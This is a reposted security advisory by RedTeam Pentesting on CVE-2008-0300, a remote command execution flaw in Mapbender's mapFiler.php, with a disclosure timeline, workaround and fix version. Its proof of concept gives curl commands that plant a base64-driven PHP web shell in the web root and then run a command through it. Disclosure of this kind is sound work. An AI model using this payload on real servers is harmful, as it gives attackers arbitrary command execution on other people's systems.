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| "Mapbender is the software and portal site for geodata management of OGC OWS architectures. The software provides web technology for managing spatial data services implemented in PHP, JavaScript and XML. It provides a data model and interfaces for displaying, navigating and querying OGC compliant map services. The Mapbender framework furthermore provides authentication and authorization services, OWS proxy functionality, management interfaces for user, group and service administration in WebGIS projects." During a penetration test RedTeam Pentesting discovered a remote command execution vulnerability in Mapbender. An unauthorized user can create arbitrary PHP-files on the Mapbender webserver, which can later be executed. |
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Credit:
The information has been provided by RedTeam Pentesting GmbH.
The original article can be found at: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
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The Mapbender software comes with a script mapFiler.php, which is located at
http://www.example.com/tools/mapFiler.php
Due to the lack of input filtering, an attacker is able to enter valid PHP code in the "factor" input field. This PHP code is written into a newly generated file in the Mapbender webfolder. Therefore, it is possible to remotely execute the code by requesting the new file.
Proof of Concept:
For this example, the user account which is used to execute php scripts needs permissions to write files to the tmp directory. Any other directory with write permissions in the web root can be used, too.
Calling
curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(
\$_GET[c])) ?>.php&button=let's go" http://www.example.com/
tools/mapFiler.php
creates a file
tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.
with the content:
#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php
This script can then be executed by calling:
curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
$_GET[c]))%20%3f>.php.?c=aWQ'
It returns:
#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php
Commands sent to the script have to be base64 encoded and will be decoded by the PHP code, to avoid possible URL filtering on the victim's side.
Workaround:
If not needed, the mapfiler.php script can be removed. Otherwise, it can be protected by using an .htaccess directive.
Fix:
The vulnerability is fixed in release 2.4.5 rc1.
Security Risk:
The security risk is rated as high. An attacker can execute arbitrary commands remotely with the rights of the webserver.
CVE Information:
CVE-2008-0300
Disclosure Timeline:
2007-12-14 - Problem identified during a penetration test
2008-01-09 - Customer approves contacting of Mapbender developers
2008-01-17 - CVE number assigned
2008-03-10 - Vendor releases fixed version
2008-03-11 - Advisory released
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